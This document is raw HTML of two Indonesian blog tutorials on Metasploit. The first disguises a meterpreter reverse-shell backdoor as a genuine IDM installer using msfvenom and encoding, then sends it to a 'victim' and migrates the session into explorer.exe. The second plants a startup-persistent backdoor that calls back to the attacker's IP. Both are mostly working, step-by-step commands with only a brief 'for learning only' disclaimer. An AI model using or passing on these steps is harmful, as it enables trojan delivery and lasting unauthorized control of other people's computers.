<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jeBYeY6AATHyp74smu1Nan8CZG6yokXZEY4fKONGfLNx8D8xKjkRb1wNT3zn7M46KCRdCTO4DcCa2Aek4kM9re7RvGDmnr6k_UZ19lTuoL6jlK9o7Hs-XHpWPdMvgutT0EpnBWcG0cw/s1600/msfvenom--h.jpg" imageanchor="1" style=""><img alt="msfvenom -h" border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jeBYeY6AATHyp74smu1Nan8CZG6yokXZEY4fKONGfLNx8D8xKjkRb1wNT3zn7M46KCRdCTO4DcCa2Aek4kM9re7RvGDmnr6k_UZ19lTuoL6jlK9o7Hs-XHpWPdMvgutT0EpnBWcG0cw/s280/msfvenom--h.jpg" title="msfvenom -h" width="280" /></a></div>
<br />
Contoh disini file asli installer IDM saya berada di <b>/root/Download/</b><b>idman625build11.exe</b><b> </b> dan hasil file outputnya akan saya simpan di folder <b>/root/Desktop/IDMan.exe </b><br />
<blockquote class="tr_bq">
msfvenom -a x86 --platform windows -x /root/Downloads/idman625build11.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -e x86/shikata_ga_nai -i 9 -f exe -o /root/Desktop/IDMan.exe</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IkFGWj3Mek7hFbOV8d9tYWebzvUbJHNWhs_IYcL2r51Z1-HeTVdai2CxRV027l8SAhqrpej_tvLqRn3Ey8l0yiGYhG2O8cMkP3lW_7kW1DVPfRiUF3HH_z-ZvsYIwZkNoN9eg1gVesg/s1600/msfvenom--a-x86---platform-windows--x.jpg" imageanchor="1" style=""><img alt="msfvenom -a x86 --platform windows -x /root/Downloads/idman625build11.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -e x86/shikata_ga_nai -i 9 -f exe -o /root/Desktop/IDMan.exe" border="0" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IkFGWj3Mek7hFbOV8d9tYWebzvUbJHNWhs_IYcL2r51Z1-HeTVdai2CxRV027l8SAhqrpej_tvLqRn3Ey8l0yiGYhG2O8cMkP3lW_7kW1DVPfRiUF3HH_z-ZvsYIwZkNoN9eg1gVesg/s280/msfvenom--a-x86---platform-windows--x.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
<div>
Keterangan :<br />
<b>- a</b> adalah architecture yang digunakan<br />
<b>--platform</b> adalah platform payload yang di buat<br />
<div>
<b>-x</b> posisi atau letak file exe yang hendak di injeksi<br />
<b>-k </b>perintah untuk mertahankan perilaku template(file.exe) dan menyuntikkan payload sebagai thread baru<br />
<b>-p </b>perintah untuk menentukan tipe payload<br />
<b>windows/meterpreter/reverse_tcp</b> adalah tipe payload yang digunakan </div>
<div>
<b>-lhost</b> adalah alamat IP kita</div>
<div>
<b>-lport</b> adalah yang akan kita gunakan dalam menjalankan listener ( reverse )<br />
<b>-e </b>untuk memilih encoder yang digunakan<br />
<b>x86/shikata_ga_nai </b>adalah encoder yang digunakan</div>
<div>
<b>-i</b> iterations (jumlah encode payload)</div>
<div>
<b>-f</b> format output</div>
<div>
<b>-o</b> output hasil file yang telah di injeksi ( backdoor result )<br />
<br />
Oke, selanjutnya kita uji coba backdoor tersebut, buka msfconsole<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj06CpVk6wS_LBTdlEni2BEN2cM8e5HhRNm68_Ce4YzCkHfqldOdHreM-swUXFY_v5VwErSehN6FFkv4VtN0OvyYlNQeF5h4GQfVcRpm-FE0FGAnBcrYiGUkcOgvMtAkD8oy-3jIqoNT-g/s1600/msfconsole.jpg" imageanchor="1" style=""><img alt="msfconsole" border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj06CpVk6wS_LBTdlEni2BEN2cM8e5HhRNm68_Ce4YzCkHfqldOdHreM-swUXFY_v5VwErSehN6FFkv4VtN0OvyYlNQeF5h4GQfVcRpm-FE0FGAnBcrYiGUkcOgvMtAkD8oy-3jIqoNT-g/s280/msfconsole.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<br />
Selanjutnya gunakan perintah<br />
<blockquote class="tr_bq">
use multi/handler<br />
set PAYLOAD windows/meterpreter/reverse_tcp<br />
set LHOST 192.168.1.106<br />
set LPORT 4444<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIBDy6NxIUg254jNrmk-jVVK2S68lOct2GN-QS1akMVzpzHGK4qUmUSBBWhc4ZdXnrp2k0uaAcK9vvWFrcCSXkTGN-j8YO4Z5uh8-oP-RlP2wNj3UwVLZ-FFoLoCQvzDGEDk0NccBuhCQ/s1600/exploit.jpg" imageanchor="1" style=""><img alt="use multi/handler" border="0" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIBDy6NxIUg254jNrmk-jVVK2S68lOct2GN-QS1akMVzpzHGK4qUmUSBBWhc4ZdXnrp2k0uaAcK9vvWFrcCSXkTGN-j8YO4Z5uh8-oP-RlP2wNj3UwVLZ-FFoLoCQvzDGEDk0NccBuhCQ/s280/exploit.jpg" title="use multi/handler" width="280" /></a></div>
<br />
Sesuaikan tipe PAYLOAD, LHOST dan LPORT dengan backdoor yang dibuat di atas<br />
<br />
Langkah selanjutnya adalah mengirimkan backdoor tersebut ke target<br />
<div style="text-align: justify;">
Dibawah ini penampakan backdoor di komputer target</div>
<div style="text-align: justify;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRgFpgLncUjCUZEcX7t_B5QydZzANxMwoIgp1hVJsSkZaXxiQtTcsvATxSIHptG-36gme6U5YJpC4d4pZ6X1FuNwhkytjDa4tXT4KYTXCnXrNjnzAhm3o0MGm12uuLFJmcIzAj3imf9PE/s1600/IDMan.PNG" imageanchor="1" style=""><img alt="Detail backdoor" border="0" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRgFpgLncUjCUZEcX7t_B5QydZzANxMwoIgp1hVJsSkZaXxiQtTcsvATxSIHptG-36gme6U5YJpC4d4pZ6X1FuNwhkytjDa4tXT4KYTXCnXrNjnzAhm3o0MGm12uuLFJmcIzAj3imf9PE/s280/IDMan.PNG" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: justify;">dilihat sepintas backdoor tersebut menyerupai file installer aslinya, icon dan detailnya pun sama </span></td></tr>
</tbody></table>
Penampakan IDMan.exe di eksekusi<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvpnK31cDL_ZPZlgdrSD-NleibJJCtQy2zQlnCrfKEb4-SNlhieMgLgibJbzCGdqJ_t-ldV3aj2OUBXIgtdYjTh5zv1mW-UkgDOQ5FEuFiPuwS8_KHaamAq8uu8ZATrPVXlrV0FWktrkQ/s1600/Install-IDMan.jpg" imageanchor="1" style=""><img alt="Backdoor di Eksekusi" border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvpnK31cDL_ZPZlgdrSD-NleibJJCtQy2zQlnCrfKEb4-SNlhieMgLgibJbzCGdqJ_t-ldV3aj2OUBXIgtdYjTh5zv1mW-UkgDOQ5FEuFiPuwS8_KHaamAq8uu8ZATrPVXlrV0FWktrkQ/s280/Install-IDMan.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<br />
Dan , Sesi meterpreter terbuka  :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Fcg_ULluWM6Qii6m6L_SCWQ9G7gaQqTFnnwtkqpE_rC6RDMdQ9d0pm3bX1BOEYDJOAez4Xd7wpeYUkLKSDWSwqE3jUgPvCXDWV7vkZppV1MgEEjJnY86WofNsK5nspi8UV-3fpMw-18/s1600/Meterpreter-opened.jpg" imageanchor="1" style=""><img alt="Meterpreter Sessions Opened" border="0" height="64" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Fcg_ULluWM6Qii6m6L_SCWQ9G7gaQqTFnnwtkqpE_rC6RDMdQ9d0pm3bX1BOEYDJOAez4Xd7wpeYUkLKSDWSwqE3jUgPvCXDWV7vkZppV1MgEEjJnY86WofNsK5nspi8UV-3fpMw-18/s280/Meterpreter-opened.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic3oGRLBAdUhW3TdC-grkXP89NtXeSKj8QBNJhugZgC2ZO_M__0oR8yhkE9avFZsv7-gmFxDfOiFFN610PNYXpQ2RC4fbRaQFV1VVGvqFAeo5qfD-_1fW7MDgNpksFarumcb2dSdyRmyY/s1600/sysinfo.jpg" imageanchor="1" style=""><img alt="sysinfo" border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic3oGRLBAdUhW3TdC-grkXP89NtXeSKj8QBNJhugZgC2ZO_M__0oR8yhkE9avFZsv7-gmFxDfOiFFN610PNYXpQ2RC4fbRaQFV1VVGvqFAeo5qfD-_1fW7MDgNpksFarumcb2dSdyRmyY/s280/sysinfo.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Meterpreter session akan closed, ketika target menutup file Installer tersebut, untuk  itu segera pindah ke prosses yang lain agar kita tetap mendapat sesi meterpreter, gunakan perintah<br />
<blockquote class="tr_bq">
migrate 6108</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lyALRdZHLOhIEqNkPIqxU2jQimiTBMlyLdRkvG9y2oYQr8UpQs5lfjMqP_qGfgguIeA-k_XbhY3s34jnA9PODtrkW5pYMZgKlVS3mpQlUd25ia3wBh83Kbl6X9vrOns3ctXQlpokFeU/s1600/migrate-6108.jpg" imageanchor="1" style=""><img alt="migrate 6108" border="0" height="37" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lyALRdZHLOhIEqNkPIqxU2jQimiTBMlyLdRkvG9y2oYQr8UpQs5lfjMqP_qGfgguIeA-k_XbhY3s34jnA9PODtrkW5pYMZgKlVS3mpQlUd25ia3wBh83Kbl6X9vrOns3ctXQlpokFeU/s280/migrate-6108.jpg" title="migrate 6108" width="280" /></a></div>
<br />
Contoh di atas saya pindah ke explorer.exe , untuk melihat Procces List ketikkan<br />
<blockquote class="tr_bq">
ps</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9SjMznnuUgMZwVcnoBp3GVkMLgqkB5Uzi9PJYFy6v10sPM9xCpiPDGI-uwcIVX7iNBfZ7P0pWFN1hfES3aezRNgl6DwtVxRlHuHaEbzjmW_6L2WugzXGQha_sHingEA60R3bwq8jOEg/s1600/ps.jpg" imageanchor="1" style=""><img alt="ps" border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9SjMznnuUgMZwVcnoBp3GVkMLgqkB5Uzi9PJYFy6v10sPM9xCpiPDGI-uwcIVX7iNBfZ7P0pWFN1hfES3aezRNgl6DwtVxRlHuHaEbzjmW_6L2WugzXGQha_sHingEA60R3bwq8jOEg/s280/ps.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Kita akan tetap terhubung dengan komputer target sampai koneksi target terputus atau target mematikan komputernya, nah bagaimana agar kita dapat masuk ke komputer target tanpa harus mengirimkan backdoor kembali? kita bisa membuat backdoor persistence, maksudnya adalah kita membuat backdoor permanen di dalam komputer target dan akan otomotis berjalan ketika startup, untuk caranya bisa di lihat pada postingan saya sebelumnya di <a href="http://anher323.blogspot.co.id/2015/12/maintaining-acces-dengan-persistence-metasploit.html" target="_blank">Maintaining Acces dengan Persistence Metasploit</a>.</div>
<br />
<div style="text-align: justify;">
Oke mungkin cukup itu yang bisa saya share kali ini tentang <b>Cara</b> <b>Menyamarkan Backdoor Seperti File Installer</b>, postingan ini ditujukan hanya untuk pemebelajaran semata, penyalahgunaan dari tutorial ini bukan tanggung jawab saya. Terimakasih</div>
sumber <a href="https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/" rel="nofollow" target="_blank">www.offensive-security.com</a></div>
</div>

Menyamarkan Backdoor Seperti File Installer (.exe)

Sebelum melakukan eksploitasi ke sebuah sistem kita memerlukan backdoor yang digunakan untuk jalan masuk ke sistem korban. Agar exploit te...

Baca selengkapnya »

Meninggalkan Backdoor Permanen di Windows (Maintaining Access)

<div style="text-align: justify;">
Haloo bro, kali ini saya akan membahas metasploit lagi nih, namun pembahasan kali ini salah satu teknik untuk meninggalkan backdoor didalam sistem target yang sudah terkena exploit, atau bahasa kerennya dalah Maintaining Access.<br />
<br />
Tujuan dari Maintaining Access ini adalah untuk meninggalkan pintu masuk (backdoor) yang di tanam pada sistem korban yang nantinya akan membuka suatu kesempatan atau peluang untuk kembali memasuki sistem tersebut kapan saja tanpa harus mengirim backdoor lagi.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Teknik ini dapat dilakukan setelah kita mendapatkan sesi meterpreter dari sistem korban, nahh bagaimana cara mendapatkan sessions meterpreter ?? kalian bisa baca tutorial saya tentang <a href="http://anher323.blogspot.co.id/2015/12/exploit-windows-menggunakan-pdf-dengan-metasploit.html" target="_blank">Cara Exploit Windows Menggunakan PDF</a> atau <a href="http://anher323.blogspot.co.id/2015/12/exploit-windows-menggunakan-msword.html" target="_blank">Cara Exploit Windows Menggunakan Ms.Word</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Tampilan setelah kita mendapatkan sesi meterpreter<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgDOkU6SNWAaftTVA7MCmiTwGxnwn-_c9_yxFuAAiUeOAOwOhBNXJYdsv3XxAERzn7coaBDLPUgBFAFKheqI8diidmbu6E0SQfVXsCNnCtYGlZC2mzBI_CqEAOFhsdUdnvu_45UF4uafI/s1600/1.jpg" imageanchor="1" style=""><img alt="meterpreter sessions" border="0" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgDOkU6SNWAaftTVA7MCmiTwGxnwn-_c9_yxFuAAiUeOAOwOhBNXJYdsv3XxAERzn7coaBDLPUgBFAFKheqI8diidmbu6E0SQfVXsCNnCtYGlZC2mzBI_CqEAOFhsdUdnvu_45UF4uafI/s280/1.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<br />
Nah kita akan membuat backdoor tersebut dengan module yang ada di metasploit yaitu persistence<br />
Untuk melihat perintah-perintah  persistance ini ketikkan perintah<br />
<blockquote class="tr_bq">
run persistence -h</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmY9pvdy4EOkvZpjIWpAlZ2god3kGGr8mIidBpBBfeSzmV-KCi1Jb0Mn1rt5O3OumehPnbNr2-uW_Y2t4Tu_BM-IieNVnCEz8_IXu2tQmFtZmq39WaJF73yIsP5zmzL9yNTzamt6VS0ms/s1600/2.jpg" imageanchor="1" style=""><img alt="run persistence -h" border="0" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmY9pvdy4EOkvZpjIWpAlZ2god3kGGr8mIidBpBBfeSzmV-KCi1Jb0Mn1rt5O3OumehPnbNr2-uW_Y2t4Tu_BM-IieNVnCEz8_IXu2tQmFtZmq39WaJF73yIsP5zmzL9yNTzamt6VS0ms/s280/2.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
</div>
<div style="text-align: justify;">
<br />
Selanjutnya kita tanamkan backdor ke sistem korban, dengan perintah<br />
<blockquote class="tr_bq">
run persistence -U -i 5 -p 443 -r 192.168.1.106</blockquote>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfUQz0jeR97-3fIGeRs4gEU35w2pLKox3Sf3_FXjT1TUHhAnUz_z2gRU95EFiiMXBOTKN_lxvGG4d6Raw-btpq1J-AeFV1kMqBxGq918IVQNRmBwMPBKVNKodd7yRFVGYQXih-UC89uAg/s1600/3.jpg" imageanchor="1" style=""><img alt="run persistence -U -i 5 -p 443 -r 192.168.1.106" border="0" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfUQz0jeR97-3fIGeRs4gEU35w2pLKox3Sf3_FXjT1TUHhAnUz_z2gRU95EFiiMXBOTKN_lxvGG4d6Raw-btpq1J-AeFV1kMqBxGq918IVQNRmBwMPBKVNKodd7yRFVGYQXih-UC89uAg/s280/3.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<br />
<div style="text-align: justify;">
Bisa di lihat dari screenshot diatas, perintah tersebut membuat sebuah backdoor dengan format vbs, dan segaligus membuat sebuah registry untuk backdoor tersebut.</div>
<br />
Keterangan :<br />
<ul>
<li>-U: merupakan perintah untuk memulai backdoors ketika sistem start up</li>
</ul>
<ul>
<li>-i: adalah interval untuk meload backdoor, disini saya isi 5 (detik)</li>
</ul>
<ul>
<li>-p: adalah port yang digunakan dalam menjalankan listener, disini saya isi port 443</li>
</ul>
<ul>
<li>-r: IP untuk menghubungkan kembali, 192.168.1.106 (alamat ip attacker)</li>
</ul>
Selanjutnya kita coba restart system korban untuk memastikan cara ini bekerja<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLaco28nH6Ml1G6jOTbvWaXL1nAmXgn6-Qedsyda_PZelREJYHiO5RKfK-9i7ELCmrxUvJjv4sJWxjLMh4vr-0A8ReUCr0ult8gssFTS044e3vsmJs01DhbcK-KX_loylAjsQzTaXASZ4/s1600/4.jpg" imageanchor="1" style=""><img alt="coba reboot" border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLaco28nH6Ml1G6jOTbvWaXL1nAmXgn6-Qedsyda_PZelREJYHiO5RKfK-9i7ELCmrxUvJjv4sJWxjLMh4vr-0A8ReUCr0ult8gssFTS044e3vsmJs01DhbcK-KX_loylAjsQzTaXASZ4/s280/4.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: justify;">
Apabila backdoor sudah tertanam, untuk mengakses sistem korban kita tidak perlu mengirim backdoor kembali, kita langsung bisa menjalankan exploit dengan exploit multi handler</div>
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_tcp</blockquote>
Set lhost sesuai yang tadi di input di persistence <br />
<blockquote class="tr_bq">
set lhost 192.168.1.106</blockquote>
Set lport sesuai juga yang di input di persistence<br />
<blockquote class="tr_bq">
set lport 443</blockquote>
Lalu jalankan exploit kembali<br />
<blockquote class="tr_bq">
exploit</blockquote>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxYehQNYkReRofjoxnNIFNShC9bKVc81d0hMXr9y2gYT46CE3gKnsfnWMgeDb_ajbrbLYp2jiWRKiSJYq8d2ZrKC24NUxSTbMDgJAqr1lelq3pmE3uCiZa_giDIvtnh2g1zrIAZER0Zoo/s1600/5.png" imageanchor="1" style=""><img alt="exploit" border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxYehQNYkReRofjoxnNIFNShC9bKVc81d0hMXr9y2gYT46CE3gKnsfnWMgeDb_ajbrbLYp2jiWRKiSJYq8d2ZrKC24NUxSTbMDgJAqr1lelq3pmE3uCiZa_giDIvtnh2g1zrIAZER0Zoo/s280/5.png" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Ternyata berhasil bro,wkwkw meterpreter terbuka kembali :v</div>
<div class="separator" style="clear: both; text-align: justify;">
ini adalah screenshot setelah  saya masuk ke shell korban :D</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIe6sPZlF5S_OY_sxtoX38DZ88U31VjEkbBovnQGyhJ3pFl1IsjdEGmc7_K-700w-_k2E4BxM-cyz1KpnVRqEi-sdjaF0V7owDIMpTfNTHZNvM08Nsc7fwSZ_nP0_pNskEfkD3vfzGNs/s1600/6.jpg" imageanchor="1" style=""><img alt="shell" border="0" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIe6sPZlF5S_OY_sxtoX38DZ88U31VjEkbBovnQGyhJ3pFl1IsjdEGmc7_K-700w-_k2E4BxM-cyz1KpnVRqEi-sdjaF0V7owDIMpTfNTHZNvM08Nsc7fwSZ_nP0_pNskEfkD3vfzGNs/s280/6.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQJY_IspmZz9LkmG9BdbGu3KKv6JjwYEGZK1MOdmjtSwdwP2fGptm1Kgd2gxvROcDG_vsKnyLIyB-h0UDJAl8u2Apt0Tb2Gi5qyk4MqV0bEcfUVfhH4UzlC4vjFuSP-f8JG25uynhjWE/s1600/6a.jpg" imageanchor="1" style=""><img alt="ipcofig" border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQJY_IspmZz9LkmG9BdbGu3KKv6JjwYEGZK1MOdmjtSwdwP2fGptm1Kgd2gxvROcDG_vsKnyLIyB-h0UDJAl8u2Apt0Tb2Gi5qyk4MqV0bEcfUVfhH4UzlC4vjFuSP-f8JG25uynhjWE/s280/6a.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
Sekian tutorial mengenai <b>Cara Meninggalkan Backdoor Permanen di Windows (Maintaining Access)</b>, ini hanya sebuah pembelajaran semata, apabila ada penyalahgunaan dari tutorial ini itu diluar tanggung jawab saya, gunakan ilmu dengan bijak, Terimakasih </div>
</div>

Meninggalkan Backdoor Permanen di Windows (Maintaining Access)

Haloo bro, kali ini saya akan membahas metasploit lagi nih, namun pembahasan kali ini salah satu teknik untuk meninggalkan backdoor didalam...

Baca selengkapnya »